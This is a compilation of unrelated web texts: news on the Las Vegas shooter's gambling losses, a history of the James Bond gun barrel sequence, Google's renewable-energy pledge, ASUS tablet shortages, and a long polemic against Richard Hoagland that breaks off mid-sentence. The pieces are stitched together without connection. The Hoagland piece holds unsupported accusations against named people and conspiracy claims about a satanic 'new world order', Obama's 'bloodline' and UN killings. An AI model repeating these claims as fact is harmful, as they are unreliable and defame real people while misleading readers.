-The gunman who killed 58 people and injured over 500 at a Las Vegas concert last month had lost a significant amount of money in the past two years. Police think that might be a "determining factor" in the worst mass shooting in modern US history.  Stephen Paddock was a high-stakes gambler and real estate investor who had lost a “significant amount of wealth” since September 2015, which led to “bouts of depression,” Clark County Sheriff Joe Lombardo said in an interview with news station KLAS-TV.  “This individual was status-driven, based on how he liked to be recognized in the casino environment and how he liked to be recognized by his friends and family,” Lombardo said. “So, obviously, that was starting to decline in the short period of time, and that may have had a determining effect on why he did what he did.”  Las Vegas shooter was on a losing streak in the two years before the massacre, leaving him depressed, sheriff says. https://t.co/8hYtJEIH3z — AP West Region (@APWestRegion) November 3, 2017  Lombardo said investigators haven’t uncovered exactly what led Paddock to unleash a barrage of gunfire into a crowd of concertgoers from his high-rise hotel suite.  “We are doing an autopsy on his brain, the coroner is in the process of having that completed. Which takes some time,” Lombardo said. “We don’t know if he had a mental defeat which caused him to change.”  “I hope we find something in his brain,” he added.  Investigators still consider Paddock’s girlfriend Mary Lou Danley a person of interest, who is still being actively interviewed. Lombardo said that, while investigators thought her account was accurate, they questioned her about Paddock’s purchase of 40-50 guns in a short period of time.  “It is hard for me to believe,” said Lombardo. “You would think Ms. Danley would have some information associated with that.”  Read more  There had to be a trigger point to cause Paddock to start purchasing large amounts of weapons in a short period of time, but “we have yet to determine what it is,” the sheriff said.  “Obviously he took a long time to think this out, process, obtained the weaponry, the logistics, thought out the plan, so it may be a longer term issue that made him snap,” said Lombardo. “We may not find out.”  One of the laptops found in Paddock’s hotel suite was missing a hard drive, and searches of his internet history turned up nothing unusual. Investigator found no evidence that Paddock had help in carrying out the attack.  Lombardo dismissed speculation that he acting like a sniper or had knowledge of weapons, describing him as “a psychotic individual in possession of a firearm shooting into a crowd.”  “It wasn’t difficult to do what he did,” the sheriff said. “I don’t want to say he was a genius. It was diabolical.”  As for Paddock taking his own life, Lombardo said “I believe the suspect believed the wolf was at the door.”  Several news organizations have sued for 911 calls, police video and search warrants related to the shooting.
-The James Bond Gun Barrel Sequence  Summary The Gun Barrel Sequence is the scene that typically opens any James Bond film, game, or other video media. It features James Bond walking along a white backdrop, shown through the view of the barrel of a henchman's gun. Realizing he is about to be killed, Bond quickly whips around and shoots the assassin first. The scene has been shot with many different actors including Bob Simmons, Sean Connery, George Lazenby, Roger Moore, Timothy Dalton, Pierce Brosnan and Daniel Craig.  Introduction  #1:Bob Simmons #1:Bob Simmons  In 1962, the astonishing United Artists studio logo music blasted out to movie audiences around the globe. It was followed by what would come to be the most famous movie introduction ever. James Bond, played by Bob Simmons, walked along a white backdrop, shown from a view through the inside of the barrel of a henchman's gun. Aware that he was being watched, Bond quickly turned and shot the assassin. Blood dripped down the screen, the gun barrel trailing off and opening to reveal the main titles.  Since then, the tradition has continued, with a current total of 7 actors having played Bond in the sequence. The sequence has remained relatively the same, with some small differences along the years. However, the entire scene was given a redesign for Casino Royale in 2006.  Dr No: The start  The gun barrel sequence was created by Maurice Binder, who went on to design 14 of the James Bond title sequences. The effect was as realistic as it seems, as Maurice created it by filming through a real gun barrel with a pin-hole camera. A fact unknown to many is that Sean Connery was not actually playing James Bond in the scene. It was in fact stuntman Bob Simmons, wearing a suit and hat, his right arm out-stretched with a pistol and his left arm concealed at his side. The scene with Bob Simmons was used 3 times, in Dr. No, From Russia with Love and Goldfinger.  Dr. No Title Sequence Dr. No Title Sequence  As the blood dripped away, the gun barrel swayed from side to side, went to the right of the screen and turned white, fading into a dotty title sequence, as shown on the left.  Since the gun barrel sequence is the first sequence in the film, Bob Simmons could arguably be the first official James Bond. Although two actors had previously played him (see Who Played James Bond: A Complete History), Bob Simmons was the first person to portray James Bond in the official Eon Productions Series.  The gun barrel sequence in Dr. No is also noted for its unique opening sound effects, different from all those to follow, as well as being the scene to originally showcase the world renowned James Bond theme tune! Although Monty Norman is credited for writing the tune, some people believe that John Barry was responsible for at least part of it. Its just one man's word against another's, but regardless of who composed it, the theme tune is an absolute classic that is recognizable worldwide and superbly suited for the introduction to James Bond. It even made our list of Top 10 Bond Theme Songs.  Thunderball: Connery Takes Over  During pre-production of Thunderball, the decision was made to use CinemaScope Anamorphic film, which allowed for a 16:9 aspect ratio to be filmed on a 4:3 piece of film. The change in aspect ratio meant that the original gun barrel sequence needed to be reshot, otherwise it would appear horizontally stretched in the theatres.  #2: Sean Connery #2: Sean Connery  They choose to reshoot the scene with Sean Connery playing Bond. It is unclear why this decision was made, because Bob Simmons was still the Stunt Arranger on Thunderball, and was therefore available for shooting. Perhaps Connery was meant to be in the original, but was unavailable, forcing them to substitute.  It is clear that Sean Connery was trying to imitate Bob in the reshoot, but the shots aren't quite identical. Connery wears the same clothes, but when he turns to shoot the assassin, his extends out his left arm, instead of hiding it at his side. His stance is also a little different. Note the visible difference in aspect ratio between the two images above.  This version of the sequence was actually shot in colour, as opposed to the original black and white version. However, it was rendered in black and white when it was used again in You Only Live Twice, and later, Diamonds Are Forever.  On Her Majesty's Secret Service: Lazenby  #3: George Lazenby #3: George Lazenby  When Connery quit the role of James Bond after You Only Live Twice, the scene had to be reshot again for new actor George Lazenby. The producers didn't want Lazenby to just imitate Connery throughout On Her Majesty's Secret Service, so they changed a few things up, including the gun barrel sequence.  For the first time since Dr. No, the white dot stops halfway to reveal the "Harry Saltzman and Albert R. Broccoli present" credit line. Then Lazenby walks across the screen and turns, falling onto his knees, before shooting the assassin. It was also the only sequence where the blood erased the image of Bond as it came down, instead of the usual translucent effect.  Another interesting aspect of this sequence is that it reveals that Lazenby was in fact walking on a treadmill. The gun barrel stops at the center of the screen, but Bond keeps moving for half a second, before turning to shoot.  OHMSS was the only film where the blood erased Bond from the screen. OHMSS was the only film where the blood erased Bond from the screen.  Live and Let Die: Roger Moore Goes Fourth  With Live and Let Die, the filming returned to the original 1.85:1 aspect ratio of the early films, and the sequence was reshot with Roger Moore. For his entry, Roger walked across the screen and turned, his legs apart and his left hand on his right arm, steadying his shot. It was the first time James Bond hadn't worn a hat in the sequence.  #4: Roger Moore (in a Tux) #4: Roger Moore (in a Tux)  This scene was used again in The Man with the Golden Gun. However, starting with The Spy Who Loved Me, the series changed back to the anamorphic film format, and Roger had to shoot the scene again. They were careful to make the reshoot as close to the original as possible, but they did change Rogers casual suit to a tuxedo, another first for the series.  It went on to be used in The Spy Who Loved Me, Moonraker, For Your Eyes Only, Octopussy and A View to a Kill, at which point Roger Moore retired from the role of James Bond, painting the way for Timothy Dalton.  The Living Daylights: Dalton Takes the Torch  When Timothy Dalton came aboard for The Living Daylights, he actually filmed the sequence twice. The first one was scrapped, because it was thought that Tim jumped too far when he spun around to shoot. It wasn't lost though, as it was used in an early British teaser trailer.  #5: Timothy Dalton #5: Timothy Dalton  The second sequence is the one used in The Living Daylights and Licence to Kill. Tim shoots in a similar fashion to Bob Simmons and Sean Connery, with his right arm extended out to shoot, and his left arm by his side. He leans to the right a little though, and his stance is unique too.  Goldeneye: Brosnan and the Age of CGI  Goldeneye marked the first large deviation from the traditional gun barrel sequence. Maurice Binder, who had done all of the sequences up to this point, passed away in 1991, and was replaced by Daniel Kleinman. Daniel changed the long standing tradition of using a real gun, instead choosing to use CGI to generate the scene.  To his credit though, he kept the style extremely similar to Maurice Binder's work, a respectable choice in my opinion. The change to CGI produced a sharper, sleeker image, that suited the newer films. Daniel darkened the colour of the blood, but kept everything else the same.  Like Timothy Dalton, Pierce Brosnan also filmed two versions of the sequence, one being used for the trailer, another reshot for the actual film. The teaser trailer for Tomorrow Never Dies shows the alternate version. In both versions, Pierce shoots with his right arm, but unlike all Tim, Sean and Bob, he remains bolt upright as he turns.  #6: Pierce Brosnan (3rd version) #6: Pierce Brosnan (3rd version)  In 2001, while Die Another Day was in production, Director Lee Tamahori requested that a special addition be made, to celebrate the 20th film in the series. The gun barrel sequence was modified to include a CGI bullet shooting into the screen, as shown in the image on the left.  Casino Royale: Enter Daniel Craig  As part of the reboot of the series with Casino Royale, the producers decided to change a few things, including the 20 movie tradition of the gun barrel sequence. It's always a little controversial to do something like this, but with Casino Royale, I think it was the right choice.  To explain why, I'll first have to set the scene. Casino Royale was the first James Bond novel, and the producers decided to make the film a sort of prequel to the rest of the series. It began with a very stylish black and white scene where Bond kills the two people required for him to get his 00-status.  He kills the first man in a bathroom, and then heads to the office of a corrupt MI6 agent to get his second kill. It then skips back to the bathroom scene, where Bond bends down to pick up his gun. As he's doing this, the man he just killed turns out to be still alive, and points his own gun at Bond. Bond turns around and shoots just in time, shown from the view through the assassins gun, and it then goes into the titles.  The sequence was the first to be shown in Black and White since Diamond's Are Forever back in 1971. There are many differences in the gun barrel itself. For a start, they scrapped Maurice Binder's design, instead making a barrel with 28 grooves instead of 8. It was also a different style and colour, and the first ever sequence not shot against a white background.  #7: Daniel Craig #7: Daniel Craig  It was also the first time that some variation of the James Bond Theme hadn't been used. Instead, it went straight into the title song. They changed the tradition, but given the circumstances, I think it was an excellent choice, and extremely well done.  Quantum Of Solace: The End of a Tradition  Now this is the one I really don't understand. For Quantum Of Solace they brought back a sequence closer to the originals than Casino Royale had been. The white dots moving across the screen had returned, the gun barrel was almost back to normal, the scene was again filmed against a white backdrop, and the James Bond Theme Song was back.  Sounds great right? Well no, because for some unknown reason, they choose to ruin a long running tradition by placing the sequence at the end of the film, right before the credits. I believe it was a terrible decision, because a Bond movie should, by definition, open with the gun barrel sequence. Sure, Casino Royale had a little scene first, but the main film itself did open with a gun barrel.  Daniel Craig Daniel Craig  Complaints aside, let's discuss the scene in question. It was created by the design company MK12, who replaced Daniel Kleinman as the Title Sequence Designer. Daniel Craig walks in quite a hurry across a white backdrop and turns to shoot, standing in a similar fashion to Timothy Dalton. The camera then zooms out, and the red silhouette of Bond makes the Q in the Quantum of Solace logo.
-Internet giant says renewable energy is increasingly lowest cost option and it will not rule out investing in nuclear power  Google’s data centres and the offices for its 60,000 staff will be powered entirely by renewable energy from next year, in what the company has called a “landmark moment”.  The internet giant is already the world’s biggest corporate buyer of renewable electricity, last year buying 44% of its power from wind and solar farms. Now it will be 100%, and an executive said it would not rule out investing in nuclear power in the future, too.  Google uses AI to cut data centre energy use by 15% Read more  “We are convinced this is good for business, this is not about greenwashing. This is about locking in prices for us in the long term. Increasingly, renewable energy is the lowest cost option,” said Marc Oman, EU energy lead at Google. “Our founders are convinced climate change is a real, immediate threat, so we have to do our part.”  Technology companies have come under increasing scrutiny over the carbon footprint of their operations, which have grown so fast they now account for about 2% of global greenhouse gas emissions, rivalling the aviation industry.  Oman said it had taken Google five years to reach the 100% target, set in 2012, because of the complexity involved with negotiating power purchase agreements. “It’s complicated, it’s not for everyone: smaller companies will struggle with the documents. We are buying power in a lot of different jurisdictions, so you can’t just copy and paste agreements.”  The company’s biggest demand for energy is its data centres and it admits their overall thirst for power is growing, despite experiments to improve their efficiency through AI.  In 2015, Google bought 5.7 terawatt hours (TWh) of renewable electricity, a little less than the 7.6TWh generated by all of the UK’s solar panels that year. The majority of the power comes from windfarms in the US.  Portugal runs for four days straight on renewable energy alone Read more  Oman said that while the falling price of solar and wind meant they had been the cheapest technologies to get to 100% by 2017, Google was now looking to sign 10-year agreements for low-carbon power that was not intermittent, such as hydro, biomass and nuclear.  “We want to do contracts with forms of renewable power that are more baseload-like, so low-impact hydro; it could be biomass if the fuel source is sustainable, it could be nuclear, God forbid, we’re not averse. We’re looking at all forms of low-carbon generation.”  But he said new nuclear power was “controversial”, the safety implications were much more “dramatic” than with renewables, and the price was “much more difficult [to ascertain]” than when funding solar panels and wind turbines.  “We don’t want to rule out signing a nuclear contract if it meets our goals of low price, safety, additionality and in a sufficiently close grid, we don’t want to rule that out, but today we can’t positively say there are nuclear projects out there that meet this criteria,” he said.  The company’s 100% renewable energy does not mean Google is getting all its energy directly from wind and solar power, but that on an annual basis the amount it purchases from renewable sources matches the electricity its operations consume.  Jodie Van Horn, a campaigner at the Sierra Club, an environmental group, said: “By transitioning global operations to run entirely on renewable energy, Google is charting a course for other corporations, institutions, cities and communities to take bold action that will create jobs, save money, and protect families from dangerous fossil fuel pollution.”
-The ASUS Eee Pad Transformer is quickly becoming the darling of the Android tablet world. With all the specs (dual-core, Android 3.0, keyboard dock - the list goes on) and a price tag at $400, this may just be the one Honeycomb tablet to rule them all. Alas, when a great product and a great price meet, there is great demand - and when there is great demand and a less-than-great supply level, there is a high level of dejected customers leaving their electronics retailers with empty hands.  The low shipment volumes of the Transformer have been news for the last couple of days, with as low as 10,000 units being moved per month. There has been a fair bit of speculation as to why ASUS isn't pumping out more of these tablets to capitalize on the popularity and hype that lead to Best Buy selling out their stocks in short order.  There are now two primary theories as to why production is so low, the first of which involves component shortages. CrunchGear (via a German netbook website in contact with individuals close to ASUS) is reporting that a shortage of components, no word on which one(s), is the reason that the Taiwanese producer is unable to hit the 300,000/month target they had originally set. This shortage may be the result of another, rather significant, tablet maker. Suppliers for tablet manufacturers are stating that Apple is buying up a large share of tablet components for their iPad 2.  The second theory is one that centers around ongoing testing. Thinq got in contact with John Swatton, marketing manager at ASUS, to ask him about the supply shortages. When commenting on the situation, he claimed that production has not slowed at all, but rather testing is to blame for some initial delays.  Various sources are saying that production has slowed, this is untrue. Production has been increasing steadily since the first shipments left the factory, and we will continue to see increasing quantities delivered to UK retailers... We have implemented a number of additional testing procedures for the Eee Pad Transformer to ensure an unrivalled user-experience. This has resulted in delays to a number of shipments"  So there you have it, from the horses mouth. The rumor is that component shortages are to blame, but the official word is that it is merely testing and the shipments will be hitting full stride shortly. I am choosing to believe the official word at this point, as it would be too painful to see this beautiful device banished to the land of Unicorns or Bionics because of a shortage of parts.  via CrunchGear, Thinq, Electronista
-Richard Hoagland's Dark Mission: Coverups, Lies, and Calling for a New World Order!  Glenn Canady  www.project.nsearch.com  Before We Broke This Story, We Had Always Admired Richard Hoagland  Before this story broke, Michael Vara and I admired Richard Hoagland and had even asked him to be on the “Late Night in the Midlands” radio show. We didn’t share all of his views but we still thought that he was pushing for the truth in his own way. All that changed however during our subsequent research of this story. By the time we got finished with our investigation we knew that Richard Hoagland was definitely a liar who hides data, manipulates people and most likely also still works for NASA and other government agencies as a gatekeeper to steer the herd away from the truth and into whatever fantasy he is pushing next. Examples of these fantasies were when he told everybody that Elenin was not a comet but a spaceship and that YU-55 would actually hit the moon after it flew by the Earth according to his secret sources! Of course nothing Richard Hoagland says ever comes to pass and he never shows evidence for his most outrageous claims! You’ll understand why when you finish this article.  Why Is Everything About Money With Richard Hoagland?  Everything about Richard Hoagland seems to revolve around money. That’s why each time he appears on “Coast to Coast” he tells people that to get the REAL truth, they must buy his book or attend some conference where he will spill the beans! He even charges people on his Enterprise Mission website just to chat with lord Hoagland! Why does Richard Hoagland charge money for even participating on his website anyway? Why does he control the flow of information on the website and ban people who disagree with anything he says? It will all make perfect sense as you look at all our evidence!  Most In the Truth Movement Have Blindly Followed Hoagland  Of course, most in the truth movement have never heard any the things we are exposing about Richard Hoagland in this article and on our upcoming radio show. It’s is our sincere hope that everyone seriously researches what we are saying for themselves and quit following him like a bunch of sheep to the slaughter. We will be happy to provide any information you need to make up your own mind about Richard Hoagland.  Ask Richard Hoagland About All These Issues For Yourself and Listen To The Show on November 26th!  We encourage everybody to pepper Richard Hoagland with the tough questions that we will bring up in this article and our upcoming world exclusive interview about this subject matter on November 26th at 9pm EST on Radio Nsearch. Word of this show has already gone mega viral and we expect a huge turnout! Make sure you have joined the site so you get an email prior to the start of the show! You may listen to the show using the player at the top of www.project.nsearch.com and www.latenightinthemidlands.com  Richard Hoagland Refuses To Answer The Charges Against Him  We have broken the story that nobody else had the guts to do because we feel that is our duty to share what we have found with the world. A man is not judged by how many times he appears on the “Coast to Coast” radio show – this means nothing! A man is judged by his actions and Richard Hoagland certainly has a lot to answer for regarding his actions as you will soon see! Anybody in the truth community that refuses to ask Richard these tough questions that are presented here is now a part of the problem also! If this was a court of law, Richard Hoagland would certainly be found guilty because he has refused to appear to answer these serious charges against him! He was given many times to respond to these questions but has refused to do so at every turn and in fact banned Michael Vara from his facebook page rather than answer his questions! Why would he do this if he had nothing to hide?  Richard Hoagland Calls For a New World Order and Loves NWO puppet, Barack Obama!  I think one of the most disturbing things our research uncovered was when we found out that Richard Hoagland had actually called for a new world order in a speeech to the UN! He was grubbing for money from the UN in the mid 90s and we have the clip in the attached video. Of course the UN is the main force of the new world order and is being used to establish their one world government! The UN has killed millions of innocent people in their quest for their new world order but Richard Hoagland LOVES the UN!  Not only does Richard Hoagland not rebuke the UN as he should but he actually panders to them and calls for a new world order himself! How can any serious person in the truth community even have Richard Hoagland on their show after he’s been caught calling for a new world order? There simply is no bigger crime against humanity than calling for a new world order that is totally against humanity. George Bush called for a new world order, Barack Obama called for a new world order and Richard Hoagland called for a new world order!  How Can You Believe A Man Who Admits He Hides Data and Has Been Caught in Many Lies?  On a recent radio show, the host asked Richard Hoagland if he has ever intentionally hidden data and he answered “Of course I have!”. He went on to excuse this by saying that he only presents data when he is sure about it! But if this was the case then why did he recently say that Elenin was a spaceship but present no images or other data that proved it?  Personally, I don’t like people who lie and distort the truth because then I can never trust anything else they tell me! In my own experience, I’ve found that if a person lies about one thing then they will lie about many other things too! How do you know when they are lying again? Can you ever believe them? When you look at the data we’ve collected there is no question that Richard Hoagland is lying on several fronts. There is no question that Richard Hoagland has hidden important data and has refused to talk about it! There is no question that Richard Hoagland tried to silence and destroy a man for getting too close to the truth! And there is no question that Richard Hoagland has called for a satanic new world order!  Richard Hoagland Loves Obama And Says He Is There To Save Us!  You will hear many disturbing things in the video attached to this article. These are real clips right from the mouth of Richard Hoagland including his sickening lovefest with new world order demon, Barack Obama! To listen to this collection of clips we have assembled for you, just click the video below. It’s common knowledge that Barack Obama is the EXACT SAME bloodline as all the rest of our puppet Presidents but on the clip you will hear Hoagland tell us that Obama is different than all the other puppet Presidents and is not from the same royal bloodlines! He says Obama is just like all of us! Richard says that Obama will basically save us all! What a joke! Obama has repeatedly called for the same satanic new world order as Richard Hoagland has done. I guess that’s why Richard Hoagland loves Obama so much. He’s on the same new world order team!  How This Story Started  Michael Vara and I first became involved in this amazing story when Gary Leggiere (aka Gary the Mad Martian) appeared on the “Awake with Peter Kling” show carried by Radio Nsearch on August 14th, 2011. On the show, Gary told the incredible story about how Richard Hoagland had filmed a TV show called “Ufo Diaries” back in 1993 that contained many new faces on Mars that have never been released before by Richard Hoagland.  Gary Got a Mystery Package in the Mail That Changed His Life Forever  Gary worked directly with Richard Hoagland researching Mars on his website, Enterprise Mission and they got along great for a long time. Then out of the blue in 2003, Gary received a burnable CD in the mail of an old television show called “UFO Diaries” along with a cryptic note that said to carefully look at this video and he would find the answers he was looking for about Mars. There was no return address on the package and Gary has never found out who sent it. Whoever sent this package to Gary wanted to expose the truth about Mars and the deception of Richard Hoagland! Thank God they did because this mystery package started Gary on his amazing journey!  “UFO Diaries” Contained Many New Images of Other Faces on Mars Never Before Seen!  Gary looked at the images in the program and realized that he had never seen many of them before but something inside Gary made him want to put the video on the shelf for a while and not confront Richard about them just yet. It wasn’t until 3 years in June of 2006 that Gary got the intense urge to take the video off the shelf and begin deep research into the mysteries contained within.  When Gary brought the images to the attention of Hoagland in 2006, he was given a surprising response. At first, Richard told Gary that the images might be fakes! Then he said he didn’t know how to reach the producers and basically said he wouldn’t lift a finger to help find them! Why would Richard Hoagland have fake images on his TV show? And then you’ll notice that he doesn’t want to do any of the work to actually find the producers who might have more info on these incredible images! Here’s what he said in emails to Gary and the rest of the crew at Enterprise Mission.  And I’ll trust that Gary has correctly measured the “bit hits” and found that they DON’T correlate with our familiar friend at Cydonia … but that doesn’t mean much anymore; with Photoshop, ANYTHING is possible…If we’re serious we HAVE to find the NASA original.  So if someone can dig up the actual producer’s name (I’m just too swamped at present), I’ll try to call or send an email (as one of the shop’s participants) and get some info.  But someone ELSE will have to do the serious “legwork” ….  (message from Richard Hoagland on the Enterprise Mission website)  Then Richard starting telling Gary that he was sure that those mysterious images of Mars were just props that the producer had used for the show. Richard told Gary that this was how all TV shows were done!  I find it very strange how Richard Hoagland wants Gary to do all the legwork but then HE will take over and ask the producer about the Mars images. We find out WHY he wanted to talk to those producers when Gary actually finds them!  Richard’s response to the images seemed strange to Gary, but he began the long task of locating the people responsible for the “UFO Diaries” program. Gary eventually finally found the two men that were responsible: Chuck Sellier and Lee Shackleford. When Gary tracked down Chuck Sellier and asked about the images, he got a surprising response! You can read his actual email on the “Richard Hoagland” menu option on the sites but I am reproducing the exact email from Chuck Sellier here.  Gary,  All of these images were licensed from others at the time we did the production. These files came from Richard Hoagland, why would he be needing them from me?  Chuck  (email from Chuck Sellier to Gary)  So Mr Sellier was really confused as to why Gary would be asking him about these images when they belonged to Richard Hoagland! It doesn’t make any sense to him because he knew that everything in “UFO Diaries” had been provided by Richard Hoagland!  The Producers For “UFO Diaries” Were Heavy Hitters In Hollywood!  I want to add a side note to the story here about Chuck Sellier and Lee Shackleford. Chuck Sellier is actually famous for producing the “Grizzly Adams” television show that many of you are familiar with! Mr. Sellier was a good Christian man that helped Gary financially to keep his family alive when Richard Hoagland destroyed Gary financially later on in our story. Mr. Sellier also encouraged Gary to continue his investigation on Mars right up until his death on January 31st 2011 at the age of 67. Lee Shackleford is a playright and screenwriter with over 150 scripts produced to his credit. He is well known for his controversial stories for the Star Trek: the Next Generation television show! Mr. Shackleford has also been supportive of Gary’s investigation into Mars the entire time also.  Once Gary Finds the Producers of “UFO Diaries”, Hoagland Offers Him a Job and Says He Won’t Have To Worry About Money Again!  Once Gary discovered that the images seen on “UFO Diaries” were the property of Richard Hoagland, Richard seemed to get a lot nicer to Gary. In fact, Richard told Gary and his wife that they didn’t need to worry about money anymore because Gary would be soon working directly with Richard researching Mars. Richard even promised Gary that through his connections with George Noory at the “Coast to Coast” radio show that he would greatly expand Gary’s own radio show he was doing in Florida called, “The Martian Revelation Radio Show” in Melbourne Florida  Richard Hoagland Says to Gary, That Someday He Maybe Will Show Him His Secret Images of Mars!  Gary had mentioned to us that a couple of years prior to him bringing this video to Hoagland’s attention, he and Hoagland had a conversation once where it was brought up by Richard that he had many other images of Mars that he hadn’t released to the public! Gary was really surprised Hoagland told him that and of course Gary was very excited and being respectable to Hoagland said, “It would be an honor if you were to show me them one day!” Whereas Gary said his reply was a happily sounding Hoagland saying merely… “MAYBE… MAYBE!” Then that ended of that part of their conversation and they continued talking about other things. Hoagland admitting that he had a treasure trove of hidden images on Mars that have never been released is SHOCKING to say the least!  But unfortunately, nothing ever materialized for Gary in that regard to Hoagland’s promise of “MAYBE”! Gary was convinced at least that the images seen in “UFO Diaries” must have been a part of the images Hoagland hinted at that he had and not shown anyone.  After Many Broken Promises, It Becomes Clear to Gary That Richard Hoagland Has Been Stalling and Lying to Gary  It soon became clear to Gary that Richard had no intention of giving him a job or getting him any kind of financial help. There would be no job from Richard Hoagland, no deal with “Coast to Coast” and Gary was never shown those secret images that Richard promised him that he would maybe someday be able to see! It seems that all these promises were made to stall Gary and to set him up for financial devastation and to cause Gary, his wife, his son, and his animals to become homeless! Hoagland took advantage of Gary’s circumstances. Gary absolutely believes Hoagland acted to create the financial ruin of Gary and his family. Hoagland also caused the destruction of Gary’s “Martian Revelation Radio Show”!  As we will see, a string of tactics and deeds were done to silence Gary and to silence his radio show. Being the h ost of a radio show gives a certain level of power and provides a conduit to the public perception and public belief. Especially being aired on the Florida Space Coast on NASA’s front door step on “The Talk To Me” station on AM 920 WMEL!  Gary’s radio show, “The Martian Revelation Show” created a strategic position for Gary and Hoagland especially, for new information about Mars and in influencing the public to get involved in these issues and generate activism for our Space Program. Gary feels very strongly about the United States success in space and is a visionary to say the least! Gary dreams about what our space program could yet be! Dreams and visions are exactly what our Nation was founded upon! This is to be encouraged and not destroyed in America!  Hoagland had to take away that conduit for Gary in order to silence the truth about the images seen in “UFO Diaries” that Gary was investigating. Gary had now become a person trying to bring forth the truth and an investigation that Hoagland did NOT want! Hoagland did not want to answer anyone’s questions about “UFO Diaries”, or his connections to those Faces on Mars images! Hoagland wanted the whole issue to be closed and swept under the rug! Hoagland wanted Gary to appear as just a LONE NUT and so Hoagland’s slanderous smear campaign against Gary went into full force!  The Case Against Richard Hoagland Goes Much Deeper Than Hidden Images and Calling for a New World Order!  As if it wasn’t bad enough that Richard Hoagland is working to establish a new world order with his mason brothers, he really shows the evil in his heart by his actions toward Gary! These actions clearly show the character of Richard Hoagland, the Man. How Gary responded to Richard’s actions allow us to see the character and the nature of Gary Leggiere,.. The Man,… THE MAD MARTIAN!  Gary’s decision to pursue this investigation regardless of the terrible things done to him, his family and his radio show demonstrate that Gary only cares about bringing out the truth! Hoagland certainly has seriously underestimated the resolve that Gary has in his heart to seek and fight for the truth! It is clear that Gary is literally fighting for us all! Hoagland did the things he did to Gary, his radio show and his family to prevent Gary from helping us all in learning and knowing about the real history and mysteries of Mars! There is certainly no excuse for this!  Look where Gary is at today and look at his case. It is an epic tale of what fighting for the truth really means sometimes. SACRIFICE! Gary and his family have sacrificed greatly and still continue to sacrifice and suffer from this ordeal! Hoagland literally ripped their lives apart and they are trying to keep their family together regardless. Gary has not given up and obviously will NOT give up!  Richard Hoagland Tries to Get Gary’s Wife to Divorce Him!  Richard Hoagland and his sidekick Robin, were also talking to Gary’s wife while all this drama was going on and Gary says they tried to turn his wife against him because of the poor financial shape they were in and told her that Gary was crazy and needed help! Gary and Robin told her that they were willing to help them. They told Gary’s wife that she should help herself and leave Gary because of how mentally sick he was. They even told her to take away his son and divorce him!  Richard Hoagland Attempts to Have Gary Committed to a Mental Hospital!  Richard’s sidekick, Robin spoke to his wife over a long period of time behind Gary’s back as yet another attempt to cause Gary problems and shut him up. This happened before and during the time when Gary and Richard had their falling out. Before Gary realized this was happening he was still under the impression that he and Richard Hoagland were friends. So Gary, being close to Richard and Robin called them while he was at the hospital waiting to get a routine checkup. Gary wanted to speak to Hoagland about a new lead he was following that led to a guy named Vladamir Avinsky – a Russian!  Gary was asked where he was because of the noise and Gary told them he was in the hospital and they asked Gary why. Gary told them he needed to get a medical checkup. A year before Gary had been in a serious car accident where he was hit head on. He actually believes he may have died and came back because there was a 45 minute period of time lost that he can’t fully remember. He suffered what can be likened to PTSD of the brain from the impact and blows to his head. His brain showed swelling and he suffered partial seizures for a time and sometimes is still affected. Gary couldn’t account for this 45 minutes of time that seemed like 10 minutes to him and began to have weird feelings that made him want to go get a check up. Certainly anyone in the same circumstances would also want to get a checkup to make sure everything was okay. Gary says that when he needed to speak with his doctor, Gary and Robin hung up and that is when Gary’s wife received the call from “Dr. Robin” asking about Gary’s hospital visit. She wanted to know which hospital he was in and who was his doctor.  It must be pointed out at this point of the story that when Gary arrived to the hospital for his checkup everything seemed to be fine at first but about an hour into the visit things began to get weird. About an hour into the visit, Gary’s doctor returned to see him with 2 big aides who were posted to Gary’s hospital room doorway. His doctor entered the room and speaks strangely to Gary, letting him know that they are going to be sending him to a facility in central Florida, a mental facility for a period of 6 months. Gary got very scared at this point and thought what now? He asked the doctor, ”Do I have a brain tumor or something? Am I going to Die?” He became shaky, frantic and scared as these thoughts raced through his mind. His doctor replied, “No! You’re not dying as far as we know, you do not have a tumor, but we have spoken to your Dr. and we decided that the best thing for your mental health is to be observed closely for 6 months in a lock down mental facility.”  At this point, Gary freaks out and says, “The Hell I will”! Gary claims the guards posted to the front doorway came in to grab Gary. But something told Gary to play this cool. Hey said, “Hey Doc, What’s this about You Spoke To My Doctor”. Gary asked him if he was talking to himself since HE was his ONLY doctor. One of the guards then grabbed Gary by the arm hard and Gary spit in his face and was promptly subdued by the two guards. Gary then screamed out loud to demand an answer from his Dr., “What do you mean…We?? What Dr. of mine have you spoken with and How is it you decided to send me to a nut house for 6 months!” Again, another valid question by a very concerned man!  The Dr. came back in the room and spoke calmly to Gary informing him that he had just gotten off the phone with his Dr. Robin!!! Dr. Robin had told the doctor of Gary’s history of being in her care and about his MENTAL CONDITION! Robin told Gary’s doctor that he was a threat to himself, his family and to others. It turned out that this is when Gary’s wife and son arrived to the hospital to see Gary. They began crying when they saw the guards trying to keep Gary down and they were both scared as they saw Gary yelling and giving them an excuse to lock him up. Gary was not happy that day! Thinking he was going to be sent away because of something wrong health wise in his mind, stemming from the accident a year prior, only to learn that he was ok health wise but now being told that he was mentally unstable and would be sent to a mental facility for six monhs! The doctor was telling him all of this and the guards were there to force Gary to comply. Gary would not comply and this is understandable!  Gary immediately stresed to his Doctor, his REAL Doctor at the hospital in Palm Bay Florida that he had no other doctor besides HIM! Gary knew how close he was to be being put away for nothing and realized he was being set up by Dr. Robin and thus by Richard C. Hoagland!!! Gary convinced the Dr. to let his wife and son enter the room and speak with them and ask them if Gary had any other doctors. They said No and when Gary’s wife heard the story from Gary’s REAL doctor, she said, “That Bitch!”. Gary asked her what she meant. His wife said Robin had just spoke to her about 45 minutes earlier and she relayed to Gary and Gary’s doctor the conversation she had with this Dr. Robin. When Gary began putting the pieces together on how he was setup by Robin and Richard Hoagland, he was furious but trying to keep his cool because those guards had their eyes on him looking for an excuse to pounce on him again!  This is when Gary spoke up and pointed his finger to the Dr. and said, “Listen up Doc! You are my ONLY Doctor and I have no other Doctors but you! These Guards and these nurses here are a witnesses to my words to you here and now! Your my Doctor, My ONLY Doctor and if you listen to this IMPOSTER and send me to anyplace, I will sue your ass!”  The doctor then left the room and reposted the guards outside the door to watch Gary closely. Gary and his wife began to cry unbelieving the situation they were facing. Gary was in total shock and knew he was absolutely being setup by Richard Hoagland and Robin now. It was not hard to connect the dots. This was an attempt to get rid of Gary and his investigation and to stop him from being a threat to Richard Hoagland.  The Doctor came back in a short while later apologizing. He kept one guard at the door and sent one away. He then said, “Gary as it stands since we gotten this report from a Dr., although a homeopathic Doctor in the state of Florida, Florida, her word counted.” He said that they would not send Gary away though and would instead keep Gary for 3 days in an 